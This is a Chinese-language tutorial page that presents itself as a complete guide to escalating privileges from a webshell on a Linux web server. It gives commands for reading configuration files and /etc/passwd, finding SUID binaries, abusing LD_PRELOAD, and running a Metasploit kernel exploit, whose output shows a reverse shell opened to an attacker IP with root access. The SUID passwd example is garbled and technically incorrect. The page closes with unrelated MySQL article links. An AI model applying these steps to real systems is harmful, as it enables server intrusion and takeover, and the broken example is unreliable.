超全的webshell权限提升方法

下面我来详细讲解“超全的webshell权限提升方法”的完整攻略。

什么是WebShell

在开始讲解 WebShell 权限提升的攻略之前,先简要介绍一下 WebShell。WebShell 是一种由黑客通过 Web 服务器的漏洞等方式上传到 Web 服务器中的一种脚本文件,可以通过 Web 服务器 HTTP 服务对外发布,并提供给黑客查看、控制 Web 服务器的操作。常用的 WebShell 有冰蝎、菜刀、中国菜刀等。

WebShell 权限提升攻略

WebShell 是否有权限提升操作,取决于 Web 服务器当前用户对文件和操作功能的权限。如果当前权限较低,可以进行权限提升操作。

以下是 WebShell 权限提升的攻略:

1. 查找敏感文件

在 Web 根目录下查找敏感文件,如 config.php,database.php,passwd,.htpasswd 等文件,可以通过打开文件获取数据库、系统配置信息等敏感信息。

ls -al /var/www/html
cat /var/www/html/config.php

2. 查找敏感目录

在 Web 根目录下查找敏感目录,如 /etc,/proc, /var/www/html 的上层目录等,可以通过访问目录获取敏感信息。

cd /var/www
ls -al
cat /etc/passwd

3. 利用 SUID 提权

执行 SUID 提权命令,可以将普通用户提权至管理员或 root 用户。

sudo -u root /usr/local/bin/command

4. 利用内核漏洞提权

通过利用 Web 服务器上的内核漏洞提权,可以提权至 root 用户。

msf > use exploit/linux/local/udev_netlink

5. 利用 LD_PRELOAD 提权

利用 LD_PRELOAD 提权可以用来绕过某一些权限策略。

export LD_PRELOAD=/tmp/root.so

6. 利用 suid bit 文件提权

在 Web 服务器中查找 suid bit 文件,可以通过 suid bit 文件底层实现,让普通用户进程以 root 用户身份运行。

find / -perm -4000 -type f 2>/dev/null

示例说明

以下是本文的两个示例说明:

示例一:利用 SUID 提权

$ ls -lsa /usr/bin/passwd
-rwsr-xr-x 1 root root 75368 2014-05-11 00:46 /usr/bin/passwd

$ id
uid=1000(web) gid=1000(web) groups=1000(web)

$ sudo -u root /usr/bin/passwd
[sudo] password for web:
root的密码:
passwd: 我们只支持真正的加密密码。
请输入访问模块的密码:
输入新的UNIX口令:
重新输入新的UNIX口令:
passwd: 密码成功更改

在此示例中,我们利用 /usr/bin/passwd 的 SUID 特性,让普通的 Web 服务器用户提升至 root 用户,从而执行 root 用户的操作。

示例二:利用内核漏洞提权

msf > use exploit/linux/local/udev_netlink
msf exploit(linux/local/udev_netlink) > set SESSION 1
SESSION => 1
msf exploit(linux/local/udev_netlink) > exploit

[*] Started reverse TCP double handler on 192.168.1.102:4444
[*] Udev Netlink Privilege Escalation Attack
[*] Enabling SELinux support ...
[*] Building netlink message ...
[*] Send netlink message ...
[*] Waiting for privileged udev trigger ...
[*] Sleeping for 2 seconds to wait for privileged udev ...
[*] Grabbing udev DBus service name from the system bus ...
[*] Successfully got udev DBus service name: org.freedesktop.UDisks2
[*] Sending DBus command for privilege escalation ...
[*] Got a context!
[*] Opened payload channel: 0
[*] Command shell session 3 opened (192.168.1.102:4444 -> 192.168.1.105:58667) at 2021-07-26 09:55:35 -0700

id
uid=0(root) gid=0(root) 组=0(root)

在此示例中,我们使用 Metasploit 框架,使用内核漏洞提权进行权限提升攻击,最终成功提权至 root 用户。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:超全的webshell权限提升方法 - Python技术站

(0)
上一篇 2023年5月21日
下一篇 2023年5月21日

相关文章

  • MySQL定时备份数据库(全库备份)的实现

    MySQL定时备份数据库是保障数据安全的重要措施之一,实现全库备份可以更好地保障数据的完整性和恢复性。下面是带有代码示例的详细攻略: 1. 安装crontab Crontab是一个在 Linux/Unix 系统下的任务计划程序,可以按照一定的时间间隔或者一定的时间点来执行指定的命令或脚本。在使用MySQL定时备份数据库的时候,我们可以利用Crontab来实现…

    database 2023年5月22日
    00
  • MySQL存储过程及语法详解

    MySQL存储过程详解 什么是MySQL存储过程 MySQL存储过程是一种在MySQL数据库服务器上运行的子程序。它是一组SQL语句的集合,经过编译后被保存到数据库中,可通过调用来执行其中的语句,具有变量定义、流程控制、条件分支、循环等基本编程结构。 MySQL存储过程可以使数据库的应用程序更加简单有效,通过把复杂的业务逻辑封装在存储过程中实现,可最大限度地…

    database 2023年5月22日
    00
  • 怎么提升索引的使用效率,设计出更高效的索引?

    索引是数据库系统中的重要概念之一,它可以提升数据库的检索和有效的存储,能够加快数据检索的速度,缩短数据库查询的响应时间,提高数据库的性能。 虽然索引的应用对性能的提升有很大的作用,但是索引设计不合理也会适得其反,导致数据库查询性能变差。因此要提升索引的使用效率,需要设计出更高效的索引,以下是几个方面的详细说明: 合理选择索引字段 在设计索引时,应该注意合理选…

    MySQL 2023年3月10日
    00
  • mysql 用户权限命令

                               网上搜索很多都不行:特此记录下自己亲测可以生效的命令                                                          本章持续维护 先介绍下环境: 阿里云linux版本:CentOS 7.4 64位 数据库版本:mysql  Ver 14.14 Distr…

    MySQL 2023年4月12日
    00
  • 简单了解添加mysql索引的3条原则

    下面我将详细讲解如何根据三条原则为MySQL表添加索引: 什么是MySQL索引 在进行MySQL查询时,如果MySQL没有为表添加索引,那么查询语句执行时就会进行全表扫描,这会导致查询效率极低。而添加索引可以让MySQL在进行查询时只搜索索引列,从而提高查询效率。因此,我们可以将索引看作是对数据库中某一列或多列的引用,可以提高查询速度。 三条原则 1. 最左…

    database 2023年5月22日
    00
  • 处理Oracle监听程序当前无法识别连接描述符中请求的服务异常(ORA-12514)

    处理Oracle监听程序当前无法识别连接描述符中请求的服务异常(ORA-12514)通常是由于监听程序未能识别连接描述符中的服务名称。如果用户通过有效的服务名称连接到Oracle数据库,就会出现ORA-12514错误。以下是解决ORA-12514错误问题的方法: 1.检查连接描述符 首先,检查连接描述符是否包含正确的服务名称。服务名称是一个标识符,用于标识正…

    database 2023年5月21日
    00
  • 数据库语言分类DDL、DCL、DML详解

    数据库语言分类DDL、DCL、DML详解 数据库语言可以分为三类,分别是DDL(数据定义语言)、DCL(数据控制语言)和DML(数据操作语言)。接下来,我们会详细讲解这三种数据库语言的功能和使用方法。 DDL(数据定义语言) DDL用于定义数据库的结构,包括创建、修改和删除数据库、表、视图和其他数据库对象等操作。以下是DDL的一些常见操作: 创建数据库 CR…

    database 2023年5月21日
    00
  • MySQL笔记之一致性视图与MVCC实现

    一致性读视图是InnoDB在实现MVCC用到的虚拟结构,用于读提交(RC)和可重复度(RR)隔离级别的实现。 一致性视图没有物理结构,主要是在事务执行期间用来定义该事物可以看到什么数据。     一、Read View 事务在正式启动的时候我们会创建一致性视图,该一致性视图是基于整个库的。   1、transaction id   InnodDB的每个事务都…

    2023年4月8日
    00
合作推广
合作推广
分享本页
返回顶部